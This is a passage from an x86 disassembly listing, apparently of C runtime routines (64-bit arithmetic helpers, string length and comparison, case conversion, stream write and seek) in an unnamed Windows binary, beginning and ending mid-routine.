		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D670	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9A5	proc near		; CODE XREF: sub_40DA4F+34p
					; sub_40DA4F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9B3	proc near		; CODE XREF: sub_41DA20+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DD39C
		call	sub_422EA8
		mov	edx, dword_4DD39C
		pop	ecx
		mov	ecx, dword_4DD398
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41DA12
		push	edx
		call	sub_422EA8
		add	eax, 10h
		push	eax
		push	dword_4DD39C
		call	sub_41BBE2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D9F5
		retn
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D9B3+3Fj
		mov	ecx, dword_4DD398
		sub	ecx, dword_4DD39C
		mov	dword_4DD39C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DD398, ecx


loc_41DA12:				; CODE XREF: sub_41D9B3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DD398, 4
		retn
sub_41D9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_40DB3C+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D9B3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA32	proc near		; DATA XREF: ___:00429018o
		push	80h
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	dword_4DD39C, eax
		jnz	short loc_41DA53
		push	18h
		call	sub_41E2C9
		mov	eax, dword_4DD39C
		pop	ecx


loc_41DA53:				; CODE XREF: sub_41DA32+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DD39C
		mov	dword_4DD398, eax
		retn
sub_41DA32	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA61	proc near		; CODE XREF: sub_40DB5E+7Ap
					; sub_40DB5E+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41DA75


loc_41DA6D:				; CODE XREF: sub_41DA61+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41DA6D


loc_41DA75:				; CODE XREF: sub_41DA61+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41DA7A:				; CODE XREF: sub_41DA61+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41DA7A
		pop	esi
		retn
sub_41DA61	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB07
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41DAAA
		cmp	edi, 1
		jz	short loc_41DAAA
		cmp	edi, 2
		jnz	short loc_41DB07


loc_41DAAA:				; CODE XREF: ___:0041DA9Ej
					; ___:0041DAA3j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41DAC1
		push	esi
		call	sub_422FA3
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41DAC1:				; CODE XREF: ___:0041DAB2j
		push	esi
		call	sub_41E42B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41DAD6
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41DAEA
; ---------------------------------------------------------------------------


loc_41DAD6:				; CODE XREF: ___:0041DACDj
		test	al, 1
		jz	short loc_41DAEA
		test	al, 8
		jz	short loc_41DAEA
		test	ah, 4
		jnz	short loc_41DAEA
		mov	dword ptr [esi+18h], 200h


loc_41DAEA:				; CODE XREF: ___:0041DAD4j
					; ___:0041DAD8j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422F09
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DB14
; ---------------------------------------------------------------------------


loc_41DB07:				; CODE XREF: ___:0041DA96j
					; ___:0041DAA8j
		mov	dword_4DBDDC, 16h
		or	eax, 0FFFFFFFFh


loc_41DB14:				; CODE XREF: ___:0041DB05j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_413694+19Ep
					; sub_4143F7+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DB39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DB39:				; CODE XREF: sub_41DB20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB54	proc near		; CODE XREF: ___:0041668Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DB78
		xor	eax, eax
		jmp	loc_41DC45
; ---------------------------------------------------------------------------


loc_41DB78:				; CODE XREF: sub_41DB54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DB8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DB92
; ---------------------------------------------------------------------------


loc_41DB8B:				; CODE XREF: sub_41DB54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DB92:				; CODE XREF: sub_41DB54+35j
					; sub_41DB54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DBC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DBC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DBAC
		mov	edi, eax


loc_41DBAC:				; CODE XREF: sub_41DB54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CD20
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DC0C
; ---------------------------------------------------------------------------


loc_41DBC6:				; CODE XREF: sub_41DB54+47j
					; sub_41DB54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DC11
		test	ecx, ecx
		jz	short loc_41DBDA
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DC53


loc_41DBDA:				; CODE XREF: sub_41DB54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DBED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DBEF
; ---------------------------------------------------------------------------


loc_41DBED:				; CODE XREF: sub_41DB54+8Aj
		mov	edi, ebx


loc_41DBEF:				; CODE XREF: sub_41DB54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DC4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DC4A


loc_41DC0C:				; CODE XREF: sub_41DB54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DC11:				; CODE XREF: sub_41DB54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FE2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DC3A
		mov	[ebp+arg_C], 1


loc_41DC3A:				; CODE XREF: sub_41DB54+BBj
					; sub_41DB54+DDj
		test	ebx, ebx
		jnz	loc_41DB92
		mov	eax, [ebp+arg_8]


loc_41DC45:				; CODE XREF: sub_41DB54+1Fj
					; sub_41DB54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DC4A:				; CODE XREF: sub_41DB54+ADj
					; sub_41DB54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DC53:				; CODE XREF: sub_41DB54+84j
					; sub_41DB54+CFj
		mov	eax, edi


loc_41DC55:				; CODE XREF: sub_41DB54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DC45
sub_41DB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5E	proc near		; CODE XREF: sub_416CAF+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A04C6h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DC7E
		nop
		call	near ptr 2690C56h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_41DC7A:				; CODE XREF: sub_41DC5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC5E+Dj
		test	al, 1
		jz	short loc_41DC9F
		test	[esp+arg_4], 2
		jz	short loc_41DC9F
		mov	dword_4DBDDC, 0Dh
		mov	dword_4DBDE0, 5
		jmp	short loc_41DC7A
; ---------------------------------------------------------------------------


loc_41DC9F:				; CODE XREF: sub_41DC5E+22j
					; sub_41DC5E+29j
		xor	eax, eax
		retn
sub_41DC5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCB0	proc near		; CODE XREF: sub_416CC9+3Fp
					; sub_41AED9+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DCD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD13
; ---------------------------------------------------------------------------


loc_41DCD2:				; CODE XREF: sub_41DCB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DCE0:				; CODE XREF: sub_41DCB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DCE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DD0E
		jb	short loc_41DD0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DD0F


loc_41DD0E:				; CODE XREF: sub_41DCB0+4Ej
					; sub_41DCB0+54j
		dec	esi


loc_41DD0F:				; CODE XREF: sub_41DCB0+56j
					; sub_41DCB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DD13:				; CODE XREF: sub_41DCB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DCB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DD20	proc near		; CODE XREF: sub_416CC9+2Dp
					; sub_41AED9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DD41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DD91
; ---------------------------------------------------------------------------


loc_41DD41:				; CODE XREF: sub_41DD20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DD4F:				; CODE XREF: sub_41DD20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DD4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DD7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DD7A
		jb	short loc_41DD82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DD82


loc_41DD7A:				; CODE XREF: sub_41DD20+4Aj
					; sub_41DD20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DD82:				; CODE XREF: sub_41DD20+52j
					; sub_41DD20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD91:				; CODE XREF: sub_41DD20+1Fj
		pop	ebx
		retn	10h
sub_41DD20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DDA0	proc near		; CODE XREF: sub_416DD9+5Fp
					; sub_416DD9+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DDC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DDC1:				; CODE XREF: sub_41DDA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DDDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DDDD:				; CODE XREF: sub_41DDA0+27j
		or	eax, eax
		jnz	short loc_41DDF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DE3A
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DDA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DE07:				; CODE XREF: sub_41DDA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DE07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DE35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DE35
		jb	short loc_41DE36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DE36


loc_41DE35:				; CODE XREF: sub_41DDA0+85j
					; sub_41DDA0+8Bj
		dec	esi


loc_41DE36:				; CODE XREF: sub_41DDA0+8Dj
					; sub_41DDA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DE3A:				; CODE XREF: sub_41DDA0+57j
		dec	edi
		jnz	short loc_41DE44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DE44:				; CODE XREF: sub_41DDA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DDA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE4A	proc near		; CODE XREF: sub_417493+BFp
					; sub_417493+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBE84
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DE7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DEE5


loc_41DE66:				; CODE XREF: sub_41DE4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DE77
		cmp	cl, 7Ah
		jg	short loc_41DE77
		sub	cl, 20h
		mov	[edx], cl


loc_41DE77:				; CODE XREF: sub_41DE4A+21j
					; sub_41DE4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DE66
		jmp	short loc_41DEE5
; ---------------------------------------------------------------------------


loc_41DE7E:				; CODE XREF: sub_41DE4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4232A8
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DED7
		push	edi
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DED7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DED7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C890
		pop	ecx
		pop	ecx


loc_41DED7:				; CODE XREF: sub_41DE4A+53j
					; sub_41DE4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA91
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DEE5:				; CODE XREF: sub_41DE4A+1Aj
					; sub_41DE4A+32j
		pop	ebx
		leave
		retn
sub_41DE4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEE8	proc near		; CODE XREF: sub_417E84+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DEFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DEFF:				; CODE XREF: sub_41DEE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DEE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF10	proc near		; CODE XREF: sub_420DB0+76p
					; sub_420DB0+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43D084, 1
		jle	short loc_41DF27
		push	8
		push	[esp+4+arg_0]
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DF27:				; CODE XREF: sub_41DF10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DF10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DF40	proc near		; CODE XREF: sub_418295+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DF8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DF8D
		test	eax, 1
		jz	short loc_41DF6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DFBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DF8A


loc_41DF6D:				; CODE XREF: sub_41DF40+20j
					; sub_41DF40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DFBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DFBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DF6D


loc_41DF8A:				; CODE XREF: sub_41DF40+2Bj
					; sub_41DF40+84j
		pop	edi
		pop	esi

locret_41DF8C:				; CODE XREF: sub_41DF40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DF8D:				; CODE XREF: sub_41DF40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DFC2
		repe cmpsd
		jz	short loc_41DFC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh
		jnz	short loc_41DFB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DFB5
		cmp	ch, dh


loc_41DFB5:				; CODE XREF: sub_41DF40+63j
					; sub_41DF40+67j ...
		mov	eax, 0


loc_41DFBA:				; CODE XREF: sub_41DF40+26j
					; sub_41DF40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DFC2:				; CODE XREF: sub_41DF40+55j
					; sub_41DF40+59j
		test	eax, eax
		jz	short loc_41DF8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		cmp	dh, ch
		jnz	short loc_41DFB5
		dec	eax
		jz	short loc_41DFE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DFB5
		dec	eax


loc_41DFE9:				; CODE XREF: sub_41DF40+8Fj
					; sub_41DF40+96j
		pop	edi
		pop	esi
		retn
sub_41DF40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFEC	proc near		; CODE XREF: sub_4185B5+6p
					; sub_4185D3+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41E019
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41E0B2
		cmp	eax, 5Ah
		jg	loc_41E0B2
		add	eax, 20h
		jmp	loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E019:				; CODE XREF: sub_41DFEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41E04D
		cmp	dword_43D084, esi
		jle	short loc_41E03B
		push	esi
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41E045
; ---------------------------------------------------------------------------


loc_41E03B:				; CODE XREF: sub_41DFEC+42j
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41E045:				; CODE XREF: sub_41DFEC+4Dj
		test	eax, eax
		jnz	short loc_41E04D


loc_41E049:				; CODE XREF: sub_41DFEC+ADj
		mov	eax, ebx
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E04D:				; CODE XREF: sub_41DFEC+3Aj
					; sub_41DFEC+5Bj
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E071
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41E07A
; ---------------------------------------------------------------------------


loc_41E071:				; CODE XREF: sub_41DFEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41E07A:				; CODE XREF: sub_41DFEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_41E049
		cmp	eax, esi
		jnz	short loc_41E0A5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41E0B2
; ---------------------------------------------------------------------------


loc_41E0A5:				; CODE XREF: sub_41DFEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41E0B2:				; CODE XREF: sub_41DFEC+16j
					; sub_41DFEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0B7	proc near		; CODE XREF: sub_418AF1+ADp
					; sub_419AE0+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41E0CE


loc_41E0C4:				; CODE XREF: sub_41E0B7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41E0C4


loc_41E0CE:				; CODE XREF: sub_41E0B7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41E0B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E0D4	proc near		; CODE XREF: sub_418AF1+7Fp
					; sub_418AF1+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E1A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E1CE
		cmp	dword_4DBE84, esi
		jnz	short loc_41E125
		cmp	edi, esi
		jbe	loc_41E1CE


loc_41E104:				; CODE XREF: sub_41E0D4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E1CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E104
		jmp	loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E125:				; CODE XREF: sub_41E0D4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270E8
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	loc_41E1CD
		nop
		call	near ptr 2690C56h
		cmp	eax, 7Ah
		jz	short loc_41E15F


loc_41E150:				; CODE XREF: sub_41E0D4+CBj
					; sub_41E0D4+F7j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E15F:				; CODE XREF: sub_41E0D4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E167:				; CODE XREF: sub_41E0D4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E189
		mov	edx, off_43CE78
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E17E
		inc	eax


loc_41E17E:				; CODE XREF: sub_41E0D4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E167


loc_41E189:				; CODE XREF: sub_41E0D4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBE94
		call	esi
		test	eax, eax
		jnz	short loc_41E1CE
		jmp	short loc_41E150
; ---------------------------------------------------------------------------


loc_41E1A1:				; CODE XREF: sub_41E0D4+Fj
		cmp	dword_4DBE84, esi
		jnz	short loc_41E1B4
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 2700000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


